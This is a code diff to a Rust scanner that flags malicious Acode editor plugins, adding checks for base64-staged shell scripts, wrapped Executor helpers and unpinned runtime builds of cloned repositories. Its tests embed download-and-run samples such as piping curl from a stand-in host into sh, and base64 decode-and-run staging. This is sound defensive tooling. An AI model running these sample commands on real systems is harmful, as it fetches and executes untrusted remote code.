diff --git a/README.md b/README.md index d352025..a3dcdfe 100644 --- a/README.md +++ b/README.md @@ -98,13 +98,28 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's reading `/etc/profile` is not persistence; Acode's own `/data/data/com.foxdebug.acode…` folder is not another app's. - **Shell helpers are followed.** In `const sh = c => Executor.execute(c)`, - each `sh("…")` call is graded with its own command. When every use of the - helper is a direct call, the helper's body adds no finding of its own. The + each `sh("…")` call is graded with its own command, also when the sink sits + in a callback inside the helper (`new Promise(r => Executor.start(cmd, …))`). + When every use of the helper is a direct call, the helper's body adds no + finding of its own. The scanner also follows `this.run(cmd)` methods, getters such as `getExecutor()`, quoting helpers (`'${s.replace(/'/g, …)}'`, `JSON.stringify`), functions that build a script from a template, `$VAR` - names assigned earlier in the same script, and every branch of - `a ? "x" : "y"`. + names assigned earlier in the same script, every branch of + `a ? "x" : "y"`, and `btoa(…)` or a local base64 helper that ends in `btoa`. +- **Encoded and staged scripts are opened.** Base64 piped through + `base64 -d` in a command (`printf %s | base64 -d > /tmp/x.sh`, + `echo | base64 -d | sh`) is decoded and checked like any other command + (`encoded_script`). When a file is written with content the scanner can't + read and is then run (`sh /tmp/x.sh`, from Executor or a terminal tab), that + is `staged_script` (H), and the file's multi-line, script-shaped constants are + checked as the likely content. +- **Source built at runtime is listed.** `git clone` followed by a build + (`make`, `cmake`, `npm install`, `cargo build`, …), `pip install git+…`, and + `npm install github:…` are `builds_remote_source`, naming each repository + (`for R in a b c; do git clone …/$R` loops are expanded). Medium when + unpinned, Low when pinned to a tag or commit (`--branch v1.2`, + `git checkout `, `pkg@`). - **Process input is not a command.** Text written with `Executor.write` to a program the plugin started (a language server, a kernel driver) is input (Low). It is graded as a command only when the started process is a shell @@ -174,7 +189,7 @@ plugin as critical (`e.read()`, `n.copy()`, `window.cordova`, webpack's | --- | --- | | Archive | `install_path_collision` (C), `path_traversal`, `duplicate_entry`, `encrypted_entry`, `unsupported_compression`, `oversized_entry`, `total_size_limit`, `too_many_entries`, `native_binary`, `header_mismatch` (H), `absolute_path`, `nested_archive`, `metadata_path_content` (M) | | Manifest | `missing`, `invalid_json`, `no_entrypoint`, `main_escapes_plugin_dir` (C), `missing_id/name/version`, `readme_password_form` (readme or changelog renders a password form; DOMPurify keeps forms) (H), `invalid_id`, `invalid_version`, `invalid_price`, `invalid_min_version_code`, `missing_icon`, `missing_readme`, `non_js_entry`, `main_loader_mismatch`, `readme_form` (M), `dependencies`, `icon_too_large` (L), `main_fallback` (I) | -| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, download-then-chmod, SSH keys / stored credentials, curl file uploads, piping env or files to the network, untrusted package sources, cron/boot persistence, shell-profile persistence), `load_library` (C), `exec` (H/M/L by what the command runs; keys end in `:program`, `:inspect`, or `write:input`), `terminal_module`, `terminal_environment`, `process_control` (M/H), `script_file` (L; shipped `.sh` / `#!` scripts get the same command checks) | +| Shell | `remote_command` (C), `decoded_command` (H), `dangerous_command` (C/H/M: download-and-run, decode-and-run, reverse shell, miner, wiping `/sdcard`/`$HOME`, other apps' data, `su`, download-then-chmod, SSH keys / stored credentials, curl file uploads, piping env or files to the network, untrusted package sources, cron/boot persistence, shell-profile persistence), `load_library` (C), `exec` (H/M/L by what the command runs; keys end in `:program`, `:inspect`, or `write:input`), `terminal_module`, `terminal_environment`, `process_control` (M/H), `staged_script` (H), `encoded_script`, `builds_remote_source` (M; L when pinned), `script_file` (L; shipped `.sh` / `#!` scripts get the same command checks) | | Native | `plugin_context_bridge` (`cordova.exec` to `Tee`), `cordova_exec_dynamic` (C), `account_bridge` (`Authenticator`; C for `saveToken`, else H), `cordova_exec`, `manage_all_files`, `in_app_purchase` (H), `permission_request`, `launch_app`, `intent_access`, `purchase_read`, `cordova_require`, `cordova_plugin` (M), `file_intent`, `device_setting`, `os_integration` (L) | | Tampering | `core_module_override` (`acode.define("fs")` etc.) (C), `self_modify` (writes scripts or `plugin.json` where code is loaded from; C when the content is downloaded or it rewrites the entry/manifest, else H), `acode_api`, `cordova_bridge`, `network_hook`, `native_api` (hooks `system`, `Executor`, `sdcard`…), `dom_hook` (wraps `addEventListener`, `appendChild`, input `value`…), `ads`, `plugin_settings` (edits `pluginsDisabled`), `other_plugin`, `plugin_files` (writes into another plugin's folder), `rewards` (H), `editor_manager`, `define_dynamic`, `unmount_dynamic` (M) | | Dynamic code | `remote_code`, `remote_import` (C), `remote_script`, `remote_worker`, `decoded_exec`, `indirect_function_constructor` (H), `eval`, `function_constructor`, `inline_script`, `script_blob`, `html_script`, `remote_html`, `decoded_html` (M: `innerHTML`, `insertAdjacentHTML`, `createContextualFragment`, `srcdoc`, `on*` attributes), `string_timer`, `script_element`, `import_expression`, `inline_handler` (L) | @@ -193,7 +208,7 @@ Prefixes are omitted in the table; full IDs look like `shell.exec`. { "schema_version": 2, "scanner_version": "0.4.1", - "rules_version": "2026.11.3", // rescan stored plugins when this changes + "rules_version": "2026.11.4", // rescan stored plugins when this changes "plugin": { "id", "name", "version", "main", "entry", "permissions", "dependencies", ... }, "verdict": { "risk": "high", "recommendation": "review", "complete": true, "reasons": ["..."] }, "summary": { "total_findings", "by_severity", "by_category" }, diff --git a/src/js.rs b/src/js.rs index 497b538..034b93a 100644 --- a/src/js.rs +++ b/src/js.rs @@ -63,6 +63,18 @@ pub fn analyze(ctx: &mut RuleContext<'_>) -> ParseOutcome { .visit_program(&parsed.program); } collect_shell_wrappers(&mut resolver, &parsed.program); + // Multi-line constants that read like shell scripts. Checked only when the + // file runs a script it wrote at runtime, as candidates for its content. + for (symbol, value) in &resolver.strings { + if rules::looks_like_shell_script(value) { + ctx.facts + .script_constants + .push((value.clone(), resolver.scoping.symbol_span(*symbol))); + } + } + ctx.facts + .script_constants + .sort_by_key(|(_, span)| span.start); Scanner { ctx, @@ -93,6 +105,8 @@ struct Resolver<'s> { returns: HashMap, /// Shell-quoting helpers: `q(s)` is `'s'`, so `sh -c ${q("ls")}` stays readable. quoters: HashMap, + /// Base64 helpers: `toBase64(s)` that return `btoa(…)` of their argument. + encoders: HashSet, /// Partly known strings bound to a constant: `const cmd = `cd ${dir} && ls``. approx_strings: HashMap, /// Constants that branch: `const c = a ? "ls" : "rm -rf /"`. @@ -157,6 +171,7 @@ impl<'s> Resolver<'s> { decoded: HashSet::new(), returns: HashMap::new(), quoters: HashMap::new(), + encoders: HashSet::new(), approx_strings: HashMap::new(), variant_strings: HashMap::new(), builders: HashMap::new(), @@ -370,6 +385,15 @@ impl<'s> Resolver<'s> { ) .collect(); } + // Folded so a command staging `printf %s ${btoa(script)} | base64 -d` + // still carries the script, which the command checks then decode. + Some("btoa") => { + let bytes: Option> = arg(0)? + .chars() + .map(|ch| u8::try_from(u32::from(ch)).ok()) + .collect(); + return Some(base64::engine::general_purpose::STANDARD.encode(bytes?)); + } Some("decodeURIComponent" | "decodeURI" | "unescape") => { return percent_decode(&arg(0)?); } @@ -395,6 +419,12 @@ impl<'s> Resolver<'s> { { return Some(format!("{quote}{}{quote}", arg(0)?)); } + if self + .local_function(&call.callee) + .is_some_and(|symbol| self.encoders.contains(&symbol)) + { + return Some(base64::engine::general_purpose::STANDARD.encode(arg(0)?.as_bytes())); + } let Expression::StaticMemberExpression(member) = call.callee.get_inner_expression() else { return None; @@ -998,6 +1028,18 @@ impl AliasCollector<'_, '_> { { self.resolver.returns.insert(*symbol, path); } + // `function toBase64(s) { …; return btoa(bin) }` + if params.len() == 1 + && let [Expression::CallExpression(call)] = returns + .iter() + .map(|expr| expr.get_inner_expression()) + .collect::>() + .as_slice() + && self.resolver.resolve(&call.callee).as_deref() == Some("btoa") + { + self.resolver.encoders.insert(*symbol); + return; + } // Every return is the parameter itself or the quoted parameter. if let [Some(param)] = params.as_slice() { let mut quote = None; @@ -1499,16 +1541,24 @@ impl<'a> Visit<'a> for WrapperCollector<'_, '_, '_> { let (wrapper, _) = self.known.get(key.as_ref()?)?; Some((wrapper.sink.clone(), wrapper.param, wrapper.sink_index)) }); + // The sink may sit in a callback inside the helper + // (`new Promise(res => Executor.start(cmd, …))`): the command is still + // the helper's parameter, so look outward for the frame that owns it. if let Some((sink, index, sink_index)) = target - && let Some(frame) = self.frames.last() - && let Some(owner) = &frame.owner && let Some(Expression::Identifier(ident)) = it .arguments .get(index) .and_then(Argument::as_expression) .map(Expression::get_inner_expression) && let Some(symbol) = self.resolver.symbol(ident) - && let Some(param) = frame.params.iter().position(|p| *p == Some(symbol)) + && let Some((frame, param)) = self.frames.iter().rev().find_map(|frame| { + frame + .params + .iter() + .position(|p| *p == Some(symbol)) + .map(|param| (frame, param)) + }) + && let Some(owner) = &frame.owner && !self.resolver.scoping.symbol_is_mutated(symbol) { self.new.push(( @@ -2305,6 +2355,60 @@ mod tests { )); } + #[test] + fn follows_helpers_whose_sink_sits_in_a_callback() { + // `exec(cmd)` that wraps Executor in a Promise is still a command helper. + let source = "(function(){ function exec(cmd) { + return new Promise((resolve, reject) => { + Promise.resolve(Executor.start(cmd, (t, d) => {}, true)).then(resolve, reject); + }); + } + exec('curl https://e.vil/x | sh'); exec('uname -m'); })()"; + assert!(has(source, "shell.dangerous_command"), "{:?}", ids(source)); + // Every call was graded, so the sink inside adds no runtime finding. + let benign = source.replace("curl https://e.vil/x | sh", "apk add git"); + let keys = shell_keys(&benign); + assert!( + !keys.iter().any(|(_, severity)| *severity == Severity::High), + "{keys:?}" + ); + } + + #[test] + fn decodes_base64_staged_scripts() { + // btoa of a constant script, staged into a file and run. + let staged = "const s = ['set -e', 'curl https://e.vil/x | sh'].join('\\n'); + Executor.start(`printf %s ${btoa(s)} | base64 -d > /tmp/s.sh && sh /tmp/s.sh`);"; + assert!(has(staged, "shell.encoded_script"), "{:?}", ids(staged)); + assert!(has(staged, "shell.dangerous_command"), "{:?}", ids(staged)); + + // A local `toBase64` helper that ends in btoa folds the same way. + let helper = "(function(){ function enc(x) { let b = ''; return btoa(b + x) } + Executor.start(`echo ${enc('curl https://e.vil/x | sh')} | base64 -d | sh`); })()"; + assert!(has(helper, "shell.dangerous_command"), "{:?}", ids(helper)); + + // A script the scanner can't read, written and then run. + let hidden = "const SETUP = ['set -e', 'apk add git build-base', + 'git clone https://github.com/a/b /r', 'cd /r', 'make'].join('\\n'); + class P { go(script) { + Executor.start(`printf %s ${btoa(script)} | base64 -d > /tmp/x.sh`); + acode.require('terminal').write(1, 'sh /tmp/x.sh\\r'); + } run() { this.go(localStorage.s || SETUP) } }"; + assert!(has(hidden, "shell.staged_script"), "{:?}", ids(hidden)); + // Its script-shaped constants are checked as the likely content. + assert!( + has(hidden, "shell.builds_remote_source"), + "{:?}", + ids(hidden) + ); + + // Writing a file it never runs is not a staged script. + assert!(!has( + "Executor.start(`printf %s ${x} | base64 -d > /tmp/data.bin`)", + "shell.staged_script" + )); + } + #[test] fn follows_getters_quoting_helpers_and_builders() { // `getExecutor()` used to hide every call. diff --git a/src/report.rs b/src/report.rs index 9e6732b..dd57112 100644 --- a/src/report.rs +++ b/src/report.rs @@ -7,7 +7,7 @@ use crate::severity::{Category, Confidence, Severity}; /// Bumped whenever the JSON shape changes incompatibly. pub const SCHEMA_VERSION: u32 = 2; /// Bumped whenever rules or severities change, so stored reports can be rescanned. -pub const RULES_VERSION: &str = "2026.11.3"; +pub const RULES_VERSION: &str = "2026.11.4"; /// Upper bound on extra source locations kept per aggregated finding. const MAX_LOCATIONS: usize = 8; diff --git a/src/rules.rs b/src/rules.rs index 1391b37..9dbdf13 100644 --- a/src/rules.rs +++ b/src/rules.rs @@ -116,6 +116,13 @@ pub struct FileFacts { pub process_starts: Vec, /// `Executor.write` calls, graded once every `start` in the file is known. pub process_writes: Vec, + /// Files a command writes a script into: (path, whether its content was + /// readable, where). + pub staged_files: Vec<(String, bool, Span)>, + /// Files a command runs as a script: (path, where). + pub run_files: Vec<(String, Span)>, + /// Multi-line string constants that read like shell scripts. + pub script_constants: Vec<(String, Span)>, } #[derive(Debug, Clone)] @@ -1146,6 +1153,7 @@ fn push_graded_exec( /// a shell is a command, but text written to a program the plugin started /// itself (a language server, a kernel driver) is just its input. pub fn finish_file(ctx: &mut RuleContext<'_>) { + finish_staged_scripts(ctx); let writes = std::mem::take(&mut ctx.facts.process_writes); let to_shell = ctx.facts.process_starts.is_empty() || ctx.facts.process_starts.iter().any(|shell| *shell); @@ -1187,6 +1195,43 @@ pub fn finish_file(ctx: &mut RuleContext<'_>) { } } +/// A script written to a file and then run with `sh `. When the +/// scanner couldn't read what was written, the file's script-shaped constants +/// are checked as the likely content, and the pair is reported on its own. +fn finish_staged_scripts(ctx: &mut RuleContext<'_>) { + let staged = std::mem::take(&mut ctx.facts.staged_files); + let runs = std::mem::take(&mut ctx.facts.run_files); + let hidden: Vec<(&String, Span)> = staged + .iter() + .filter(|(path, known, _)| !known && runs.iter().any(|(run, _)| run == path)) + .map(|(path, _, span)| (path, *span)) + .collect(); + if hidden.is_empty() { + return; + } + for (path, span) in &hidden { + let run = runs + .iter() + .find(|(run, _)| run == *path) + .map(|(_, span)| ctx.snippet(*span)) + .unwrap_or_default(); + ctx.push( + ctx.finding( + "shell.staged_script", + Severity::High, + Category::Shell, + Some(*span), + "Writes a script it builds at runtime to a file and then runs it, so the scanner can't read the script", + format!("{path} (run by: {})", shorten(&run, 120)), + ) + .keyed(path.as_str()), + ); + } + for (script, span) in std::mem::take(&mut ctx.facts.script_constants) { + classify_command_at(ctx, span, &script, 3); + } +} + fn classify_terminal_module(ctx: &mut RuleContext<'_>, call: &Call<'_>, method: &str) { if method != "write" { return; @@ -1435,7 +1480,222 @@ static COMMAND_RULES: LazyLock> = LazyLock::new(|| { }); fn classify_command(ctx: &mut RuleContext<'_>, span: Span, command: &str) { + classify_command_at(ctx, span, command, 0); +} + +fn classify_command_at(ctx: &mut RuleContext<'_>, span: Span, command: &str, depth: u8) { classify_command_with(ctx, span, command, |_| true); + classify_remote_build(ctx, span, command); + if depth < 3 { + classify_staging(ctx, span, command, depth); + } +} + +/// `printf %s | base64 -d …` and `echo | base64 -d …`. +static BASE64_PIPE: LazyLock = LazyLock::new(|| { + Regex::new( + r#"(?:printf\s+(?:'%s'|"%s"|%s)|echo(?:\s+-[ne]+)?)\s+['"]?([A-Za-z0-9+/=…]{8,}|…)['"]?\s*\|\s*base64\s+(?:-d|--decode|-D)\b([^;&|\n]*)"#, + ) + .unwrap() +}); +/// `> /path/file` redirection target. +static REDIRECT_TARGET: LazyLock = + LazyLock::new(|| Regex::new(r#">>?\s*['"]?([^\s'";&|]+)"#).unwrap()); +/// `sh /path/x.sh`, `bash x`, `source x`, `. x`. +static RUN_FILE: LazyLock = LazyLock::new(|| { + Regex::new(r#"(?:^|[;&|(]\s*|\s)(?:sh|bash|ash|dash|zsh|source|\.)\s+['"]?(/[^\s'";&|)]+)"#) + .unwrap() +}); + +/// Decodes base64 written by a command and grades what it decodes to. Records +/// the file it lands in, so a later `sh ` can be tied back to it. +fn classify_staging(ctx: &mut RuleContext<'_>, span: Span, command: &str, depth: u8) { + for captures in BASE64_PIPE.captures_iter(command) { + let payload = &captures[1]; + let decoded = (!payload.contains('…')) + .then(|| { + base64::engine::general_purpose::STANDARD + .decode(payload.trim_end_matches('…')) + .ok() + }) + .flatten() + .and_then(|bytes| String::from_utf8(bytes).ok()); + if let Some(target) = REDIRECT_TARGET.captures(&captures[2]) { + ctx.facts + .staged_files + .push((target[1].to_string(), decoded.is_some(), span)); + } + if let Some(script) = decoded { + ctx.push( + ctx.finding( + "shell.encoded_script", + Severity::Medium, + Category::Shell, + Some(span), + "Passes a base64-encoded script through the shell (decoded and checked)", + script.clone(), + ) + .keyed("base64"), + ); + classify_command_at(ctx, span, &script, depth + 1); + } + } + for captures in RUN_FILE.captures_iter(command) { + ctx.facts.run_files.push((captures[1].to_string(), span)); + } +} + +/// `git clone` / `pip install git+…` / `npm install github:…`: source fetched +/// at runtime and then built or installed. +static GIT_CLONE: LazyLock = + LazyLock::new(|| Regex::new(r"\bgit\s+clone\b([^;&|\n]*)").unwrap()); +static REMOTE_PACKAGE: LazyLock = LazyLock::new(|| { + Regex::new( + r#"\b(?:pip3?|python3?\s+-m\s+pip|uv\s+pip)\s+install\b[^;&|\n]*?\b(git\+[^\s'";&|]+)|\b(?:npm|pnpm|yarn)\s+(?:i|install|add)\b[^;&|\n]*?\s((?:github:|git\+)[^\s'";&|]+|https://github\.com/[^\s'";&|]+)"#, + ) + .unwrap() +}); +static BUILD_STEP: LazyLock = LazyLock::new(|| { + Regex::new( + r"(?m)(?:^|[;&|]\s*|\s)(?:make|cmake|ninja|meson|cargo\s+(?:build|install)|go\s+(?:build|install)|npm\s+(?:install|ci|run)|pnpm\s+(?:install|run)|yarn(?:\s+install)?|pip3?\s+install\s+(?:-e\s+)?\.|python3?\s+setup\.py|\./configure|\./gradlew|gradle|\./[\w.-]*build[\w.-]*\.sh|sh\s+[\w./-]*build[\w.-]*\.sh)\b", + ) + .unwrap() +}); +static FOR_LIST: LazyLock = + LazyLock::new(|| Regex::new(r"\bfor\s+(\w+)\s+in\s+([^;\n]+?)\s*(?:;|\n)\s*do\b").unwrap()); +static PINNED_CHECKOUT: LazyLock = LazyLock::new(|| { + Regex::new( + r"\bgit\b[^;&|\n]*\b(?:checkout|reset\s+--hard|switch\s+--detach)\s+[0-9a-f]{7,40}\b", + ) + .unwrap() +}); + +fn classify_remote_build(ctx: &mut RuleContext<'_>, span: Span, command: &str) { + let loops: Vec<(String, Vec)> = FOR_LIST + .captures_iter(command) + .map(|captures| { + ( + captures[1].to_string(), + captures[2].split_whitespace().map(str::to_string).collect(), + ) + }) + .collect(); + // `https://github.com/$R` with `for R in a/b c/d` expands to both repos. + let expand = |source: &str| -> Vec { + for (var, items) in &loops { + for form in [format!("${{{var}}}"), format!("${var}")] { + if source.contains(&form) { + return items + .iter() + .map(|item| source.replace(&form, item)) + .collect(); + } + } + } + vec![source.to_string()] + }; + + let mut sources = Vec::new(); + let mut pinned = PINNED_CHECKOUT.is_match(command); + let mut clones = false; + if BUILD_STEP.is_match(command) { + for captures in GIT_CLONE.captures_iter(command) { + let words: Vec<&str> = captures[1] + .split_whitespace() + .map(|word| word.trim_matches(['"', '\''])) + .collect(); + let mut index = 0; + let mut repo = None; + while index < words.len() { + let word = words[index]; + if matches!(word, "-b" | "--branch") { + let reference = words.get(index + 1).copied().unwrap_or(""); + pinned |= !matches!( + reference, + "" | "main" | "master" | "HEAD" | "trunk" | "develop" | "dev" + ); + index += 2; + continue; + } + if matches!( + word, + "--depth" | "-c" | "--config" | "-o" | "--origin" | "--reference" + ) { + index += 2; + continue; + } + if !word.starts_with('-') { + repo = Some(word); + break; + } + index += 1; + } + if let Some(repo) = repo { + clones = true; + sources.extend(expand(repo)); + } + } + } + for captures in REMOTE_PACKAGE.captures_iter(command) { + if let Some(source) = captures.get(1).or_else(|| captures.get(2)) { + let source = source.as_str(); + // `pkg@` / `#` / `@v1.2` pin a package to one version. + pinned |= source.rsplit(['@', '#']).next().is_some_and(|reference| { + reference != source && !matches!(reference, "main" | "master" | "HEAD") + }); + sources.extend(expand(source)); + } + } + if sources.is_empty() { + return; + } + sources.sort(); + sources.dedup(); + let (severity, state) = if pinned { + (Severity::Low, "pinned") + } else { + (Severity::Medium, "unpinned") + }; + let what = if clones { + "Clones source code at runtime and builds it" + } else { + "Installs packages straight from a git repository at runtime" + }; + let message = if pinned { + format!("{what} (pinned to a tag or commit)") + } else { + format!("{what}: unpinned, so it runs whatever those repositories hold at install time") + }; + ctx.push( + ctx.finding( + "shell.builds_remote_source", + severity, + Category::Shell, + Some(span), + message, + format!("{} ({state})", sources.join(", ")), + ) + .keyed(sources.join(",")), + ); +} + +/// A multi-line string with several lines that start with a shell command. +pub fn looks_like_shell_script(text: &str) -> bool { + const STARTS: &[&str] = &[ + "set ", "export ", "echo ", "cd ", "rm ", "mkdir ", "cp ", "mv ", "chmod ", "apk ", "apt", + "pkg ", "pip", "npm ", "git ", "curl ", "wget ", "make", "cmake ", "if ", "for ", "done", + "fi", "case ", "exec ", "sh ", "bash ", "tar ", "sed ", "grep ", "#!", + ]; + if !text.contains('\n') || text.len() > 64 * 1024 { + return false; + } + text.lines() + .filter(|line| { + let line = line.trim_start(); + STARTS.iter().any(|start| line.starts_with(start)) + }) + .count() + >= 3 } fn classify_command_with( @@ -1503,6 +1763,7 @@ pub fn scan_shell_script(ctx: &mut RuleContext<'_>) { start = end; } classify_command_with(ctx, Span::new(0, 0), source, |rule| rule.multiline); + classify_remote_build(ctx, Span::new(0, 0), source); } fn classify_system(ctx: &mut RuleContext<'_>, call: &Call<'_>, method: &str) { @@ -2945,6 +3206,65 @@ mod tests { assert!(command_ids("curl -d '{\"a\":1}' https://api.example.com").is_empty()); } + #[test] + fn flags_runtime_source_builds() { + let build = |command: &str| { + let mut ctx = RuleContext::new("main.js", command, None); + classify_command(&mut ctx, Span::new(0, 0), command); + ctx.findings + .into_iter() + .find(|finding| finding.id == "shell.builds_remote_source") + .map(|finding| (finding.severity, finding.evidence)) + }; + // Fallback list of repos, unpinned. + let (severity, evidence) = build( + "for R in someone/compiler pawn-lang/compiler; do git clone --depth 1 \"https://github.com/$R\" /s && break; done\ncd /s && make", + ) + .unwrap(); + assert_eq!(severity, Severity::Medium); + assert!( + evidence.contains("https://github.com/someone/compiler"), + "{evidence}" + ); + assert!( + evidence.contains("https://github.com/pawn-lang/compiler"), + "{evidence}" + ); + assert!(evidence.ends_with("(unpinned)"), "{evidence}"); + + // Pinned to a tag or a commit. + assert_eq!( + build("git clone -b v3.10.10 https://github.com/a/b /s && cd /s && make").map(|f| f.0), + Some(Severity::Low) + ); + assert_eq!( + build( + "git clone https://github.com/a/b /s && git -C /s checkout 1a2b3c4d && make -C /s" + ) + .map(|f| f.0), + Some(Severity::Low) + ); + // A default branch is not a pin. + assert_eq!( + build("git clone --branch main https://github.com/a/b /s && cd /s && cmake .") + .map(|f| f.0), + Some(Severity::Medium) + ); + // Package installs straight from git. + assert!(build("pip install git+https://github.com/a/b").is_some()); + assert!(build("npm install github:a/b").is_some()); + // Cloning without building, or building without cloning, is neither. + assert!(build("git clone https://github.com/a/b /s").is_none()); + assert!(build("cd /s && make").is_none()); + } + + #[test] + fn recognises_script_shaped_constants() { + assert!(looks_like_shell_script("set -e\napk add git\ncd /x\nmake")); + assert!(!looks_like_shell_script("set -e")); + assert!(!looks_like_shell_script("Hello\nworld\nthis is text")); + } + #[test] fn classifies_endpoints() { let tag = |url: &str| classify_endpoint(url, &host_of(url).unwrap()).map(|risk| risk.tag);